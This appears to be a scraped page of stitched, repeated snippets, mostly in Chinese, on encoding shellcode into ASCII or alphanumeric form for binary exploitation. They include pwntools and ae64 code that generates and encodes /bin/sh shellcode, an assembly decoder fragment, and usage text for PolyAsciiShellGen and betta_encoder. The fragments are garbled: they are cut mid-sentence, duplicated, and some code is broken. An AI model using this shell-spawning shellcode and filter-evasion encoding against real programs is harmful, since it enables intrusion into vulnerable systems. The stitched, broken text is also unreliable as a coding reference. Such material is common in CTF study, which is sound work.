首先将需要修改的shellcode以二进制的形式导出,这里直接用pwntools生成的shellcode即可 from ae64 import AE64 from pwn import * context.arch='amd64' # get bytes format shellcode shellcode = asm(shellcraft.sh()) # get alphanumeric s
push 51h + ascii_base_offset pop esi sub dword ptr [ecx], esi // [esp] -= shellcode_offset(60h + ascii_base_offset) pop esi // -shellcode_offset => esi push edx // base_addr => [esp] sub dword ptr [esp], esi pop esi // base_addr + shellcode_offset == shellcode ad...
$ ./PolyAsciiShellGen usage: PolyAsciiShellGen <esp offset> <nop sleed factor N * 4 NOPS> <shellcode "\xOP\xOP"...> Options <esp offset> Theesp offsetparameter is a 32 bit integer, positive or negative. When the generated ASCII shellcode is executed it starts to add theesp offset...
python betta_encoder.py -f shellcode.txt --stub true You should provide ESP and address where decoded shellcode must be placed via --stub argument. You can encode without that but you should manually add stub or adjust ESP. It will generate ASCII equivalent version. ...
f.write(shellcode) f.close() 接着使用ae64的库直接修改为ASCII码shellcode frompwnimport* fromae64importAE64 context.arch='amd64' obj=AE64() sc=obj.encode(asm(shellcraft.sh()),'rdx') print(sc) 这里rdx即为shellcode执行的时候call的寄存器 ...
shellcode = asm(()) # get alphanumeric shellcode f = open('shellcode','wb+') f.write(shellcode) f.close() 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 接着使用ae64的库直接修改为ASCII码shellcode from pwn import * from ae64 import AE64 ...
f =open('shellcode','wb+') f.write(shellcode) f.close 接着使用ae64的库直接修改为ASCII码shellcode frompwnimport* fromae64importAE64 context.arch ='amd64' obj = AE64 sc = obj.encode(asm(shellcraft.sh),'rdx') print(sc) 这里rdx即为shellcode执行的时候call的寄存器 ...
f.write(shellcode)f.close() 接着使用ae64的库直接修改为ASCII码shellcode from pwn import *from ae64 import AE64context.arch = 'amd64'obj = AE64()sc = obj.encode(asm(shellcraft.sh()),'rdx')print(sc) 这里rdx即为shellcode执行的时候call的寄存器 然后就可以生成shellcode...